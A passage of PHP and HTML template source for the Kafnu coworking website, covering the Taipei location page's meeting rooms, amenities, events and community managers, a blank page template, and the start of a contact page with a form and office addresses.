class="page-default-booking-item-text"> <h5>4 Person Meeting Room</h5> <p>Comfortable seating, colorful artwork, high-quality screens.</p> <!-- <span class="price">From HK$600/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361933" target="_blank" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="6-person"></div> <div class="manic-expand-container-title"> <h5>6 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-03.jpg" data-image-tablet="images_cms/country_tp/booking-space-03.jpg" data-image-mobile="images_cms/country_tp/booking-space-03.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>6 Person Meeting Room</h5> <p>Digital light cubes or panels, industrial walls, wireless projection.</p> <!-- <span class="price">From HK$750/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361934" target="_blank" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> <div class="col-sm-12 no-padding page-default-booking-item tp-version"> <div class="manic-expand-container"> <div class="scroll-target" data-value="8-person"></div> <div class="manic-expand-container-title"> <h5>8 Person Meeting Room</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/booking-space-04.jpg" data-image-tablet="images_cms/country_tp/booking-space-04.jpg" data-image-mobile="images_cms/country_tp/booking-space-04.jpg" alt=""> </div> <div class="page-default-booking-item-text"> <h5>8 Person Meeting Room</h5> <p>80-inch screen, integrated aqua scape (coming soon).</p> <!-- <span class="price">From HK$900/Hour</span> --> </div> <div class="page-default-booking-item-cta-container"> <!-- <a href="https://hongkong.kafnu.com/en/bookings/search?type=435361935" target="_blank" class="square-cta border-version">Book Now</a> --> <!-- <a href="javascript:void(0);" class="open-soon"><span>Open 3 October</span></a> --> </div> </div> </div> </div> </div> </div> </div> </article> <article id="page-country-main-content-section"> <div class="container-fluid reduce-padding"> <div id="page-country-main-content-item-container" class="hidden-xs hidden-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Live</h5> <h6>Live your best life at Kafnu Taipei.</h6> <ul> <li class="tp-live-01"> <p class="title">On-demand meal delivery from Morsel</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-02"> <p class="title">Access to a variety of personalized courses at our fitness space</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> --> </li> <li class="tp-live-03"> <p class="title">Discounts from our lifestyle partners</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-04"> <p class="title">Nespresso coffee</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-05"> <p class="title">Ever-changing art exhibits and installations</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-06"> <p class="title">Co-living shared space</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> <li class="tp-live-07"> <p class="title">Cosy kitchen areas</p> <!-- <p>Maecenas mollis enim finibus.</p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 no-padding v-align-col left-col"> <div class="page-country-main-content-item-text"> <h5>Work</h5> <h6>An ecosystem that inspires creativity.</h6> <ul> <li class="tp-work-01"> <p class="title">Biophilic design</p> </li> <li class="tp-work-02"> <p class="title">Adjustable-height desks</p> </li> <li class="tp-work-03"> <p class="title">Printing, copying, scanning</p> </li> <li class="tp-work-04"> <p class="title">Beautiful meeting rooms</p> </li> <li class="tp-work-05"> <p class="title">Sound proof phone booth for privacy</p> </li> <li class="tp-work-06"> <p class="title">Natural light throughout</p> </li> <li class="tp-work-07"> <p class="title">Professional recording studio</p> </li> <li class="tp-work-08"> <p class="title">Dynamic filming & photography green room</p> </li> <li class="tp-work-09"> <p class="title">Convenient parking spaces</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-8 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/work.jpg" data-image-tablet="images_cms/country_tp/work.jpg" data-image-mobile="images_cms/country_tp/work.jpg" alt=""> </div> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-8 no-padding v-align-col"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-01.jpg" data-image-tablet="images_cms/country_tp/play-01.jpg" data-image-mobile="images_cms/country_tp/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-02.jpg" data-image-tablet="images_cms/country_tp/play-02.jpg" data-image-mobile="images_cms/country_tp/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-4 no-padding v-align-col right-col"> <div class="page-country-main-content-item-text"> <h5>Play</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li class="tp-play-01"> <p class="title">Comfortable rest facilities</p> </li> <li class="tp-play-02"> <p class="title">Use of fitness space and events</p> </li> <li class="tp-play-03"> <p class="title">Member-only events</p> </li> <li class="tp-play-04"> <p class="title">Weekly member happy hour</p> </li> <li class="tp-play-05"> <p class="title">K2 Bar</p> </li> <li class="tp-play-06"> <p class="title">Roof-top activity space</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Learn</h5> <h6>Nonstop learning opportunities.</h6> <ul> <li class="tp-learn-01"> <p class="title">Events & mentorship</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-02"> <p class="title">Office hours with experts</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-03"> <p class="title">Member access to partner tools and discounts</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-04"> <p class="title">Educational books and magazines</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> <li class="tp-learn-05"> <p class="title">Networking with community managers and members</p> <!-- <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas mollis enim. </p> --> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div><!-- --><div class="col-md-6 col-md-offset-1 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/learn.jpg" data-image-tablet="images_cms/country_tp/learn.jpg" data-image-mobile="images_cms/country_tp/learn.jpg" alt=""> </div> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/rest.jpg" data-image-tablet="images_cms/country_tp/rest.jpg" data-image-mobile="images_cms/country_tp/rest.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h5>Rest</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li class="tp-rest-01"> <p class="title">Lounge areas & rest spaces</p> </li> <li class="tp-rest-02"> <p class="title">Member discounts on spa treatments and other lifestyle partners</p> </li> <li class="tp-rest-03"> <p class="title">Vibrant city views</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> <div id="page-country-main-content-item-container-mobile" class="kafnu-slick-slider visible-xs visible-sm"> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live-mobile.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>Live</h5> <h6>Live your best life at Kafnu Taipei.</h6> <ul> <li> <i class="tp-live-01"></i> <p class="title">On-demand meal delivery from Morsel</p> </li> <li> <i class="tp-live-02"></i> <p class="title">Access to a variety of personalized courses at our fitness space</p> </li> <li> <i class="tp-live-03"></i> <p class="title">Discounts from our lifestyle partners</p> </li> <li> <i class="tp-live-04"></i> <p class="title">Nespresso coffee</p> </li> <li> <i class="tp-live-05"></i> <p class="title">Ever-changing art exhibits and installations</p> </li> <li> <i class="tp-live-06"></i> <p class="title">Co-living shared space</p> </li> <li> <i class="tp-live-07"></i> <p class="title">Cosy kitchen areas</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/work.jpg" data-image-tablet="images_cms/country_tp/work.jpg" data-image-mobile="images_cms/country_tp/work.jpg" alt=""> </div> </div> <div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>Work</h5> <h6>An ecosystem that inspires creativity.</h6> <ul> <li> <i class="tp-work-01"></i> <p class="title">Biophilic design</p> </li> <li> <i class="tp-work-02"></i> <p class="title">Adjustable-height desks</p> </li> <li> <i class="tp-work-03"></i> <p class="title">Printing, copying, scanning</p> </li> <li> <i class="tp-work-04"></i> <p class="title">Beautiful meeting rooms</p> </li> <li> <i class="tp-work-05"></i> <p class="title">Sound proof phone booth for privacy</p> </li> <li> <i class="tp-work-06"></i> <p class="title">Natural light throughout</p> </li> <li> <i class="tp-work-07"></i> <p class="title">Professional recording studio</p> </li> <li> <i class="tp-work-08"></i> <p class="title">Dynamic filming & photography green room</p> </li> <li> <i class="tp-work-09"></i> <p class="title">Convenient parking spaces</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="two-col-image-container"> <div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-01.jpg" data-image-tablet="images_cms/country_tp/play-01.jpg" data-image-mobile="images_cms/country_tp/play-01.jpg" alt=""> </div><!-- --><div class="manic-image-container two-col-image"> <img src="" data-image-desktop="images_cms/country_tp/play-02.jpg" data-image-tablet="images_cms/country_tp/play-02.jpg" data-image-mobile="images_cms/country_tp/play-02.jpg" alt=""> </div> </div> </div><!-- --><div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>Play</h5> <!-- <h6>Lorem ipsum dolor sit amet, consectetur lorem adipiscing elit ipsum.</h6> --> <ul> <li> <i class="tp-play-01"></i> <p class="title">Comfortable rest facilities</p> </li> <li> <i class="tp-play-02"></i> <p class="title">Use of fitness space and events</p> </li> <li> <i class="tp-play-03"></i> <p class="title">Member-only events</p> </li> <li> <i class="tp-play-04"></i> <p class="title">Weekly member happy hour</p> </li> <li> <i class="tp-play-05"></i> <p class="title">K2 Bar</p> </li> <li> <i class="tp-play-06"></i> <p class="title">Roof-top activity space</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-md-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/live.jpg" data-image-tablet="images_cms/country_tp/live.jpg" data-image-mobile="images_cms/country_tp/live.jpg" alt=""> </div> </div> <div class="col-md-12"> <div class="page-country-main-content-item-text"> <h5>Learn</h5> <h6>Nonstop learning opportunities.</h6> <ul> <li> <i class="tp-learn-01"></i> <p class="title">Events & mentorship</p> </li> <li> <i class="tp-learn-02"></i> <p class="title">Office hours with experts</p> </li> <li> <i class="tp-learn-03"></i> <p class="title">Member access to partner tools and discounts</p> </li> <li> <i class="tp-learn-04"></i> <p class="title">Educational books and magazines</p> </li> <li> <i class="tp-learn-03"></i> <p class="title">Networking with community managers and members</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> <div class="page-country-main-content-item"> <div class="row"> <div class="col-sm-12"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/rest.jpg" data-image-tablet="images_cms/country_tp/rest.jpg" data-image-mobile="images_cms/country_tp/rest.jpg" alt=""> </div> </div><!-- --><div class="col-sm-12"> <div class="page-country-main-content-item-text"> <h5>Rest</h5> <!-- <h6>Lorem ipsum dolor sit amet, cons ectetur adipiscing elit. Maecenas mollis lorem in enim finibus, icesac cumsan.</h6> --> <ul> <li> <i class="tp-rest-01"></i> <p class="title">Lounge areas & rest spaces</p> </li> <li> <i class="tp-rest-02"></i> <p class="title">Member discounts on spa treatments and other lifestyle partners</p> </li> <li> <i class="tp-rest-03"></i> <p class="title">Vibrant city views</p> </li> </ul> </div> <!-- page-country-main-content-item-text --> </div> </div> <!-- row --> </div> <!-- page-country-main-content-item --> </div> </div> <!-- container-fluid --> </article> <article id="page-country-event-content-section-mobile" class="visible-sm visible-xs"> <div id="banner-sidebar-container-mobile" class="kafnu-slick-slider"> <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-01.jpg" data-image-tablet="images_cms/country_tp/event-slider-01.jpg" data-image-mobile="images_cms/country_tp/event-slider-01-mobile.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Vision Board for the Future</h5> <p>12 October 2017 – 6:30 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">We celebrate Kafnu’s opening with a stimulating panel discussion, tasty cocktails, and special guests.</p> </div> <!-- <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> --> </div><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-02.jpg" data-image-tablet="images_cms/country_tp/event-slider-02.jpg" data-image-mobile="images_cms/country_tp/event-slider-02.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Reception for HICAP conference attendees</h5> <p>19 October 2017 – 7:00 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">In Hong Kong for HICAP? See the world’s first Kafnu and prepare for some special surprises.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-03.jpg" data-image-tablet="images_cms/country_tp/event-slider-03.jpg" data-image-mobile="images_cms/country_tp/event-slider-03.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>‘Unchartered Territories’ Dinner.</h5> <p>20 October 2017 – 6:00 PM</p> <p class="minimize-text" data-length="-1" data-tablet-length="100" data-mobile-length="100">Experience Hong Kong’s best-kept secret restaurants, in a dinner tour hosted by Kafnu for HICAP attendees.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> <!-- <div class="banner-sidebar-item"> <div class="banner-sidebar-item-title"> <h6>upcoming events</h6> </div> <div class="banner-sidebar-item-image"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/event-slider-04.jpg" data-image-tablet="images_cms/country_tp/event-slider-04.jpg" data-image-mobile="images_cms/country_tp/event-slider-04.jpg" alt=""> </div> </div> <div class="banner-sidebar-item-text"> <h5>Doing business in Taiwan</h5> <p>30 Oct – 3 Nov</p> <p class="minimize-text" data-length="-1" data-tablet-length="-1" data-mobile-length="-1">A week of seminars and “office hours” with individual consultation with experts on doing business in Taiwan – from setting up a company, working with hardware factories, hiring and HR, and importing/exporting.</p> </div> <!- - <div class="banner-sidebar-item-cta-container"> <a href="community.html#events" class="square-cta border-version">See More</a> </div> - -> </div> --><!-- banner-sidebar-item --> </div> <!-- banner-sidebar-container --> </article> <article id="page-country-extra-content-section"> <div class="container-fluid reduce-padding"> <div class="page-country-extra-content-item taipei-version"> <div class="row"> <div class="col-md-6 no-padding v-align-col"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/country_tp/community-manager.jpg" data-image-tablet="images_cms/country_tp/community-manager.jpg" data-image-mobile="images_cms/country_tp/community-manager.jpg" alt=""> </div> </div><!-- --><div class="col-md-4 col-md-offset-1 no-padding v-align-col"> <div class="page-country-main-content-item-text"> <h4>Taipei <br class="hidden-sm hidden-xs"> Community Managers</h4> <!-- <h4>justin lorem</h4> --> <p>Our Taipei Community Managers are a diverse and energetic group with a wide variety of backgrounds. Stop by Kafnu, take a tour, and meet them!</p> <ul> <li><span>Leo Chen</span></li> <li><span>Ron Chen </span></li> <li><span>Jenny Shen</span></li> <li><span>Roy Huang</span></li> <li><span>Skylar Yang</span></li> </ul> <ul> <li><span>Hong Wang</span></li> <li><span>Mimo Lee</span></li> <li><span>Evelyn Chen</span></li> <li><span>Simon Yu</span></li> <li><span>Jeff Liang</span></li> </ul> <ul> <li><span>Carol Chen</span></li> <li><span>Eva Yang</span></li> <li><span>Luca Lui</span></li> </ul> </div> <!-- page-country-main-content-item-text --> <div class="page-country-main-content-item-cta-container"> <a href="community.html" class="square-cta border-white-version">Learn more</a> </div> </div> </div> <!-- row --> </div> <!-- page-country-extra-content-item --> </div> </article> <article id="page-default-connect-with-world-section" class="country-version"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <h4 data-wow-offset="50" class="">Join Kafnu Taipei & <br class="hidden-xs hidden-sm"> connect with the world</h4> <!-- <ul class="social-media-links-container"> <li data-wow-offset="150" class=""><a href="#"><i class="fa fa-instagram" aria-hidden="true"></i></a></li> <li data-wow-offset="250" class=""><a href="#"><i class="fa fa-facebook" aria-hidden="true"></i></a></li> </ul> --> </div> </div> </div> </article> <article id="page-default-social-media-masonry-section"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-12 no-padding"> <div id="default-masonry-grid-container" class="hidden-xs hidden-sm"> <div class="grid"> <div class="grid-sizer"></div> <div data-wow-offset="80" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="85" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="90" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="95" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="60" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="75" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-01.jpg" alt=""> </div> </a> </div> <div data-wow-offset="100" class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/youtube-thumb-03.jpg" alt=""> </div> </a> </div> <div data-wow-offset="105" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-05.jpg" alt=""> </div> </a> </div> <div data-wow-offset="65" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-02.jpg" alt=""> </div> </a> </div> <div data-wow-offset="120" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-04.jpg" alt=""> </div> </a> </div> <div data-wow-offset="140" class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/fb-image-thumb-06.jpg" alt=""> </div> </a> </div> <div data-wow-offset="145" class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-06.jpg" alt=""> </div> </a> </div> </div> <!-- grid --> </div> <!-- default-masonry-grid-container --> <div id="default-grid-container-mobile" class="visible-xs visible-sm"> <div class="grid-item"> <a href="http://www.youtube.com" target="_blank" class="social-media-source-tag youtube" target="_blank"> <div class="manic-image-container video-version"> <img src="" data-image-desktop="images_cms/home/fb-video-thumb-01.jpg" data-image-tablet="images_cms/home/fb-video-thumb-01.jpg" data-image-mobile="images_cms/home/fb-video-thumb-01.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.facebook.com/kafnuhk/" target="_blank" class="social-media-source-tag facebook color-version"> <div class="grid-item-text-container"> <h5>Bill - Company of Dreamers</h5> <p>Bill Black, ex-hotelier and Director at Next Story Group...</p> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-02.jpg" data-image-tablet="images_cms/home/in-image-thumb-02.jpg" data-image-mobile="images_cms/home/in-image-thumb-02.jpg" alt=""> </div> </a> </div> <div class="grid-item"> <a href="https://www.instagram.com/kafnu_hk/?hl=en" target="_blank" class="social-media-source-tag instagram"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/home/in-image-thumb-03.jpg" data-image-tablet="images_cms/home/in-image-thumb-03.jpg" data-image-mobile="images_cms/home/in-image-thumb-03.jpg" alt=""> </div> </a> </div> </div> </div> </div> <!-- row --> </div> </article> <!-- page-home-social-media-masonry-section --> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_country.php" ?> </body> </html> <?php // saving captured output to file file_put_contents('kafnutp.html', ob_get_contents()); // end buffering and displaying page ob_end_flush(); ?>``` _template.php ```<?php global $current_page; $current_page = "page-template"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> </div> <!-- #page-wrapper-content --> </div> <!-- #page-wrapper --> <?php include "includes/footer_desktop.php"; ?> <?php include "includes/footer_mobile.php"; ?> <?php include "includes/script_home.php" ?> </body> </html>``` contact.php ```<?php ob_start(); ?> <?php global $current_page; $current_page = "page-contact"; ?> <!doctype html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang=""> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang=""> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang=""> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang=""> <!--<![endif]--> <head> <?php include 'includes/head.php'; ?> </head> <body class="<?php echo $current_page; ?>"> <!-- home-expand-header-version --> <!-- only the home page has the class home-expand-header-version by default --> <?php include "includes/preloader.php"; ?> <?php include "includes/header_desktop.php"; ?> <?php include "includes/header_mobile.php"; ?> <div id="page-wrapper"> <div id="page-wrapper-content"> <div id="page-home-nav-trigger"></div> <!-- ____ _ _ _ _ _ _____ ____ | __ ) / \ | \ | | \ | | ____| _ \ | _ \ / _ \ | \| | \| | _| | |_) | | |_) / ___ \| |\ | |\ | |___| _ < |____/_/ \_\_| \_|_| \_|_____|_| \_\ --> <article id="page-default-banner-section"> <div id="page-default-banner-image" class="visible-lg visible-md"> <div class="manic-image-container"> <img src="" data-image-desktop="images_cms/contact/contact-banner.jpg"> </div> </div> <div id="page-default-banner-image-mobile" class="visible-sm visible-xs"> <div class="manic-image-container"> <img src="" data-image-tablet="images_cms/contact/contact-banner.jpg" data-image-mobile="images_cms/contact/contact-banner-mobile.jpg"> </div> </div> <div id="page-default-banner-copy-container" class="form-version"> <div class="container-fluid"> <div class="row"> <div class="col-lg-6 col-lg-offset-6 col-md-8 col-md-offset-4"> <div id="page-default-banner-copy"> <h1>Let us know if you have any questions.</h1> <form name="contact-form" id="contact-form" action="" class="default-form"> <div class="message"> </div> <div class="row"> <div class="col-md-6"> <div class="input-container"> <input type="text" name="first_name" placeholder="First Name*" class="required"> </div> <div class="input-container"> <input type="text" name="last_name" placeholder="Last Name*" required> </div> <div class="input-container"> <input type="text" name="email" placeholder="Email Address*" required> </div> </div> <div class="col-md-6"> <textarea name="message" id="" cols="30" rows="10" placeholder="Ask us here"></textarea> <button type="submit" id="contact-form-send" class="square-cta border-white-version">Send</button> </div> </div> </form> </div> <!-- page-default-banner-copy --> </div> </div> </div> </div> <!-- page-default-banner-copy-container --> </article> <!-- page-default-banner-section --> <article id="page-contact-find-us-section"> <div class="container-fluid"> <div id="page-contact-find-us-title"> <h2>You Can Find Us Here</h2> </div> <div id="hong-kong-map-container" class="hidden-xs hidden-sm"> <div class="row"> <div class="col-md-8 map-col"> <div id="hong-kong-map"></div> </div> <div class="col-md-4 text-col"> <div class="page-contact-find-us-text-box-container"> <h2>Hong Kong</h2> <div class="address"> <h6>Address</h6> <p>2F-38, Hung Luen Road, Hung Hom Bay, Kowloon, Hung Hom, Hong Kong</p> <p>(Located within Kerry Hotel, Hong Kong)</p> </div> <div class="email"> <h6>Email</h6> <a href="mailto:hongkong@kafnu.com">hongkong@kafnu.com</a> </div> </div> </div> </div> </div> <div id="taipei-map-container" class="hidden-xs hidden-sm"> <div class="row"> <div class="col-md-4 text-col hidden-xs hidden-sm"> <div class="page-contact-find-us-text-box-container"> <h2>Taipei</h2> <div class="address"> <h6>Address</h6> <p>No. 101, Section 3, Minsheng East Road, Songshan District, Taipei City, Taiwan</p> </div> <div class="email"> <h6>Email</h6> <a href="mailto:taipei@kafnu.com">taipei@kafnu.com</a> </div> </div> </div> <div class="col-md-8 map-col col-md-offset-4"> <div id="taipei-map"></div> </div> </div> </div> </div> <div id="hong-kong-map-container-mobile" class="visible-xs visible-sm"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="hong-kong-map"></div> <div class="manic-expand-container-title"> <h5>Hong Kong</h5> </div> <div class="manic-expand-container-btn"></div> <div class="manic-expand-container-content"> <div class="container-fluid reduce-padding"> <div class="row"> <div class="col-md-8 no-padding"> <div id="hong-kong-map-mobile"></div> </div> <div class="col-md-4 no-padding text-col"> <div class="page-contact-find-us-text-box-container"> <h2>Hong Kong</h2> <div class="address"> <h6>Address</h6> <p>2F-38, Hung Luen Road, Hung Hom Bay, Kowloon, Hung Hom, Hong Kong</p> <p>(Located within Kerry Hotel, Hong Kong)</p> </div> <div class="email"> <h6>Email</h6> <a href="mailto:hongkong@kafnu.com">hongkong@kafnu.com</a> </div> </div> </div> </div> </div> </div> </div> </div> <div id="taipei-map-container-mobile" class="visible-xs visible-sm"> <div class="manic-expand-container mobile-open-version"> <div class="scroll-target" data-value="taipei-map"></div> <div class="manic-expand-container-title"> <h5>Taipei</h5> 